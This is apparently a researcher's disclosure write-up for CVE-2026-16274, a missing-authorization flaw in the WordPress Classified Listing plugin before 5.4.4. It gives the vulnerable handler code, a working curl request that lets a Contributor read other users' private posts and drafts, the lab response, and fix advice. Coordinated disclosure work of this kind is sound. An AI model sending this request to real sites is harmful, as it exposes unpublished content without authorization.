Last login: on ttys001  |  uid=0(root)

Classified Listing < 5.4.4 – Contributor+ Unpublished Post Content Disclosure (CVE-2026-16274)

CVE
CVE-2026-16274
Plugin
Classified Listing
Affected
versions before 5.4.4
Fixed
5.4.4
Type
Missing Authorization (CWE-862) / Broken Access Control
Required privilege
Contributor or higher (authenticated)
CVSS 3.1
2.7 Low - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
Finder
Huseyin Mertoglu
WPScan
https://wpscan.com/vulnerability/a43925db-3108-4797-9867-0fa48cfaeab4/

Summary

Before 5.4.4, Classified Listing registers an AJAX action that returns a post's post_content after a nonce check and nothing else. No capability check. No ownership check.

Per the CVE: a Contributor+ user can read content from any post, page, or custom post type on the site, including drafts, pending, and private posts owned by someone else.

I found this in 5.4.3 while grepping AJAX handlers. Nonce present, current_user_can missing. Classic.

Bug

Hooked action: rtcl_block_css_get_posts
Code path: get_posts_call() in app/Controllers/BlockController.php

public function get_posts_call() {
    if ( ! wp_verify_nonce( $_POST['rtcl_nonce'] ?? '', 'rtcl-nonce' ) ) {
        wp_send_json_error( ... );
    }

    $post = $_POST;
    if ( isset( $post['postId'] ) ) {
        $post = get_post( $post['postId'] );
        wp_send_json_success( $post ? $post->post_content : '' );
    }
}

get_post( $id ) does not care about status or author. If the row exists, you get the object. The handler then dumps post_content into the success JSON.

A few things that make it usable in practice:

Nearby handlers in that class (save_block_css(), appended()) do check manage_options. This one does not.

Impact

Read-only. Someone with a Contributor account can try post IDs and pull unpublished text: other people's drafts, pending listings, private pages, whatever is sitting in the database under that ID. No write from this bug alone.

How I reproduced it

Lab WordPress, own install. As Contributor:

rtcl_block_script.rtcl_nonce

Then against an admin-owned private/draft post:

curl -X POST "https://target/wp-admin/admin-ajax.php" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: wordpress_logged_in_<hash>=<contributor-session>" \
  --data "action=rtcl_block_css_get_posts&postId=45&rtcl_nonce=<nonce>"

Response in the lab:

{"success":true,"data":"this is a private post. only the admin can view it"}

Tried a regular WordPress draft ID too. Same story. Bad nonce returns Session Expired!!, so the issue is authorization, not nonce bypass.

Fix

Ship 5.4.4+. Until then, reduce Contributor accounts or block the rtcl_block_css_get_posts action. On the code side the obvious gate is current_user_can( 'read_post', $post_id ) after absint on postId.

Coordinated through WPScan; patched in 5.4.4. Update to the latest release.

References

// small pieces, big problems.  |  CVE-2026-16274